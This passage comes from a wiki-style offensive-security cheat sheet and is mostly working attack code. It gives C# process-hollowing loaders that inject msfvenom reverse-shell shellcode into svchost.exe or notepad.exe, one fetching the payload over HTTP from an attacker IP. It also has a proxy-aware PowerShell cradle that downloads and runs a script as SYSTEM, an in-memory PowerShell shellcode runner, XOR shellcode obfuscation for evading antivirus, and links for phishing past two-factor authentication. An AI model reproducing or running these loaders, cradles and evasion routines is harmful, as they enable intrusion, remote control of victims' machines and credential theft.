            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodePath = &amp;quot;path_to_shellcode.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode&lt;br /&gt;
            byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);&lt;br /&gt;
            // Overwrite the EntryPoint with the shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload over HTTP/HTTPS ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net.Http;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static async Task Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodeUrl = &amp;quot;http://192.168.1.126/shellcode.bin&amp;quot;; // Replace with the actual URL of the shellcode binary&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode from the specified URL&lt;br /&gt;
            byte[] shellcode;&lt;br /&gt;
            using (HttpClient client = new HttpClient())&lt;br /&gt;
            {&lt;br /&gt;
                try&lt;br /&gt;
                {&lt;br /&gt;
                    shellcode = await client.GetByteArrayAsync(shellcodeUrl);&lt;br /&gt;
                }&lt;br /&gt;
                catch (Exception ex)&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Error downloading shellcode: &amp;quot; + ex.Message);&lt;br /&gt;
                    return;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            // Overwrite the EntryPoint with the downloaded shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
== Proxy-aware PowerShell Cradle ==&lt;br /&gt;
&lt;br /&gt;
A proxy is an intermediary server that sits between a user&#039;s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.11 - Victim &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.12 - Proxy server&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up proxy ===&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== List of proxy-aware PowerShell cradles ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Net.WebClient (as you&#039;ve seen)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $wc = New-Object System.Net.WebClient&lt;br /&gt;
   $wc.DownloadString(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt; class respects the system proxy settings by default.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Invoke-WebRequest and Invoke-RestMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-WebRequest -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-RestMethod -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the &amp;lt;code&amp;gt;-Proxy&amp;lt;/code&amp;gt; parameter.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System.Net.HttpWebRequest&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $req = [System.Net.HttpWebRequest]::Create(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
   $resp = $req.GetResponse()&lt;br /&gt;
   $sr = New-Object IO.StreamReader($resp.GetResponseStream())&lt;br /&gt;
   $result = $sr.ReadToEnd()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt;, the &amp;lt;code&amp;gt;HttpWebRequest&amp;lt;/code&amp;gt; class also respects system proxy settings by default. Its behavior can be altered by changing the &amp;lt;code&amp;gt;.Proxy&amp;lt;/code&amp;gt; property of the request object.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;BitsTransfer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Import-Module BitsTransfer&lt;br /&gt;
   Start-BitsTransfer -Source &#039;http://example.com/script.ps1&#039; -Destination &#039;path\to\save&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;BitsTransfer&amp;lt;/code&amp;gt; module is used to transfer files, and it is proxy-aware. It respects system proxy settings.&lt;br /&gt;
&lt;br /&gt;
=== SYSTEM Proxy with Net.WebClient ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a Proxy Configuration for SYSTEM&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Proxy settings per user are stored in the registry at:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When accessing as SYSTEM, &amp;lt;code&amp;gt;HKEY_CURRENT_USER&amp;lt;/code&amp;gt; does not exist. Use &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PowerShell to Setup Proxy for SYSTEM Integrity&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Map HKEY_USERS registry hive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find the correct user hive based on SID:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
   ForEach ($key in $keys) {&lt;br /&gt;
       if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
           $start = $key.Name.substring(10)&lt;br /&gt;
           break&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Fetch the proxy settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create and assign the proxy object:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   [system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
   $wc = new-object system.net.WebClient&lt;br /&gt;
   $wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Full Code for SYSTEM Proxy-Aware Download Cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
$keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
ForEach ($key in $keys) {&lt;br /&gt;
    if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
        $start = $key.Name.substring(10)&lt;br /&gt;
        break&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
$wc = new-object system.net.WebClient&lt;br /&gt;
$wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; will persist across reruns.&lt;br /&gt;
&lt;br /&gt;
== Reflection Load (In-memory) ==&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.&lt;br /&gt;
&lt;br /&gt;
This code below is same as &amp;lt;code&amp;gt;Simple Shellcode Runner Powershell Ver 2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
              Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
              Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {&lt;br /&gt;
        If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {&lt;br /&gt;
            $tmp+=$_&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
        [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
            DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
            DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
            DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
            [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$lpMem =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
$hThread =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
    (getDelegateType @([IntPtr], [Int32]) ([Int]))&lt;br /&gt;
).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode obfuscation script ==&lt;br /&gt;
&lt;br /&gt;
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.&lt;br /&gt;
&lt;br /&gt;
=== Espio ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# The obfuscation method usid is xor&lt;br /&gt;
def obfuscate_payload(payload, key):&lt;br /&gt;
    encrypted_payload = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in range(len(payload)):&lt;br /&gt;
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))&lt;br /&gt;
        hex_char = hex(ord(obf_char))&lt;br /&gt;
        if len(hex_char) == 3:&lt;br /&gt;
            hex_char = f&amp;quot;0x0{hex_char[-1]}&amp;quot;&lt;br /&gt;
        encrypted_payload += hex_char&lt;br /&gt;
    encrypted_payload_bytes = encrypted_payload.encode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)&lt;br /&gt;
    obfuscated_payload = obfuscated_payload_bytes.decode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    return &amp;quot;&amp;quot;.join(obfuscated_payload)&lt;br /&gt;
&lt;br /&gt;
def generate_key():&lt;br /&gt;
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]&lt;br /&gt;
    key = &amp;quot;&amp;quot;.join(random.choices(letters, k=random.randint(100, 500)))&lt;br /&gt;
    return key&lt;br /&gt;
# In main.cpp the decryption routine&lt;br /&gt;
	int keyIndex = 0;&lt;br /&gt;
	for (int i = 0; i &amp;lt; encryptedPayloadSize; i += 4)&lt;br /&gt;
	{&lt;br /&gt;
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];&lt;br /&gt;
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];&lt;br /&gt;
	}&lt;br /&gt;
